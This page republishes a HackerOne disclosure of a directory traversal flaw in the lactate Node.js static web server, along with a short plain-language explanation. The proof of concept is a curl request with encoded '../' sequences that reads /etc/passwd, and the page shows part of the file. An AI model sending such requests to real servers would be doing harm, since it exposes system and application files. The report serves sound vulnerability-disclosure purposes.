Skip to content
Path traversal Disclosed report Beginner

[lactate] Static Web Server Directory Traversal via Crafted GET Request

The lactate web server package allows directory traversal via a crafted GET request, enabling an attacker to request arbitrary files outside the web root. This could expose sensitive files such as system configuration or application source code.

ysx Follow

Originally disclosed on HackerOne

  • Triaged in 33 hours
  • Fixed in 44 days
  • Disclosed after 44 days

Summary by the researcher

A crafted GET request can be leveraged to traverse the directory structure of a host using the lactate web server package, and request arbitrary files outside of the specified web root.

The report

Hi @vdeturckheim,

A crafted GET request can be leveraged to traverse the directory structure of a host using the lactate web server package, and request arbitrary files outside of the specified web root.

Module specification

  • Name: lactate
  • Version: 0.13.12 (latest release build)

Verified conditions

  • Test server: Ubuntu 16.04 LTS
  • cURL package: curl 7.55.1 (2017-08-14)

I have not presently attempted to contact the maintainer and would appreciate assistance from Node.js Security in doing so, as described in the Disclosure Guidelines. This package has a considerably larger download count than those previously reported.

Proof of concept

Please globally install the lactate package and cd to a chosen directory (in this case, /root) on your test server. Next, run lactate -p 8081 to start serving from this location.

Substituting the <server-IP> value as appropriate, the following cURL request can be used to demonstrate this vulnerability by requesting the target /etc/passwd file:

curl "http://<server-IP>:8081/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
[...]

Thanks,

Yasin

Impact

An adversary can leverage this vulnerability to request arbitrary files from the target host, which may include application source code or system configuration data.

The original report as published on HackerOne, by ysx. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An adversary can leverage this vulnerability to request arbitrary files from the target host, which may include application source code or system configuration data.

What the attacker needed

Lactate package installed and running; network access to the server

How it was found

  1. Install the lactate package globally and change to a chosen directory (e.g., /root).
  2. Start the server with lactate -p 8081.
  3. Send a crafted GET request with encoded directory traversal sequences to retrieve a file outside the web root.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A web server is supposed to only serve files from a specific folder. This one can be tricked into serving files from anywhere on the computer, like a password file, by using special characters in the web address.

What is Path traversal?

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.

More by ysx

View all

25 more disclosed reports, best first.

More from Node.js third-party modules

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Path traversal and file inclusion

The lesson behind this report.

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.